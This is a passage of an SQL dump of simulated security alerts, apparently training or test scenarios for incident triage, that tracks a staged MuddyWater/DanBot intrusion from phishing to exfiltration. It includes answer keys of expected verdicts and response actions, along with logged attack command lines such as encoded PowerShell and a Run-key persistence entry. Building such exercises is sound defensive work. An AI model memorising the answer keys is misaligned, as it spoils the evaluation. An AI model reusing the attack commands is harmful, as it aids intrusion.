scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Domain linked to malware distribution.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in PowerShell attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account used to execute the script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1337, 'Establishment of Persistent Backdoor', 'high', 'System Logs', 'MuddyWater has leveraged its custom C2 framework to install a persistent backdoor, ensuring long-term access. The backdoor was deployed using a malicious script that altered system configurations for persistence.', 'Persistence', 'TA0003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:44Z\",\"event_type\":\"system_modification\",\"system_user\":\"svc_backup\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\backdoor.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"registry_change\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\backdoor\",\"action\":\"create_persistence\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 IP associated with MuddyWater operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Compromised internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with MuddyWater backdoor variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File System Analysis\",\"verdict\":\"malicious\",\"details\":\"File identified as a persistent backdoor.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"svc_backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Account Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Service account used in unauthorized activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1338, 'Unauthorized Access to Internal Network', 'high', 'Network Traffic Analysis', 'With persistence established, MuddyWater begins lateral movement, exploiting vulnerabilities to reach critical network segments. The attacker used stolen credentials to attempt access to sensitive telecommunications infrastructure.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event\":\"lateral_movement\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"protocol\":\"SMB\",\"username\":\"jdoe\",\"filename\":\"\\\\\\\\192.168.1.45\\\\sensitive_data\\\\telecom_infra.docx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"attempt_access\",\"outcome\":\"success\",\"related_alerts\":[\"APT_MW-001\",\"APT_MW-002\"]}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with MuddyWater APT.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network segment.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User credentials suspected to be compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by MuddyWater APT.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1339, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) Systems', 'The final stage of the operation sees MuddyWater exfiltrating valuable data, completing their attack chain and achieving their malicious goals. Data has been exfiltrated from the telecommunications network to external servers.', 'Exfiltration', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:54Z\",\"event_type\":\"exfiltration_attempt\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.10\",\"protocol\":\"HTTPS\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"confidential_project_data.zip\",\"user\":\"jdoe\",\"action\":\"file_transfer\",\"result\":\"success\",\"detection_system\":\"DLP\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with data exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known data stealing tool\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_project_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_file_scan\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data archive being transferred externally\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_database\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1340, 'Suspicious Spear Phishing Email Detected', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting an employee with a malicious link. The email originated from an external IP and contained a suspicious file attachment.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"email_id\":\"f123abc456@malicious.com\",\"source_ip\":\"203.0.113.45\",\"destination_email\":\"employee@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"invoice_2023.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_link\":\"http://malicious-example.com/login\",\"internal_ip\":\"10.0.5.23\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"f123abc456@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used in known phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware known as \'APT PhishDoc\'.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-example.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Phishing Database\",\"verdict\":\"malicious\",\"details\":\"URL is a phishing site attempting to steal credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Spear Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.836Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1341, 'Execution of DanBot Malware', 'critical', 'Endpoint Detection and Response (EDR)', 'Upon clicking the link, the malicious payload is executed, establishing a foothold with DanBot malware.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"process_creation\",\"host\":{\"hostname\":\"compromised-host\",\"ip\":\"10.0.1.5\"},\"user\":\"jdoe\",\"process\":{\"pid\":3482,\"name\":\"cmd.exe\",\"command_line\":\"cmd.exe /c start C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\danbot.exe\"},\"file\":{\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\danbot.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"size\":204800},\"network\":{\"connections\":[{\"remote_ip\":\"198.51.100.23\",\"remote_port\":443,\"protocol\":\"TCP\"}]}}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure for DanBot.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as DanBot malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Valid internal user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1342, 'Establishment of Persistence Mechanisms', 'high', 'System Registry Logs', 'The malware modifies registry settings to maintain persistence, ensuring it survives system reboots. The modification was detected in the Windows registry, where a new startup key was added pointing to a malicious executable.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"event_type\":\"Registry Modification\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"modified_value\":\"C:\\\\Windows\\\\System32\\\\malicious_executable.exe\",\"user\":\"COMPROMISED_USER\",\"source_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"file_hash\":\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\",\"username\":\"admin_user\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in persistence mechanisms.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"COMPROMISED_USER\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity\",\"verdict\":\"suspicious\",\"details\":\"User account activity indicates potential compromise.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry 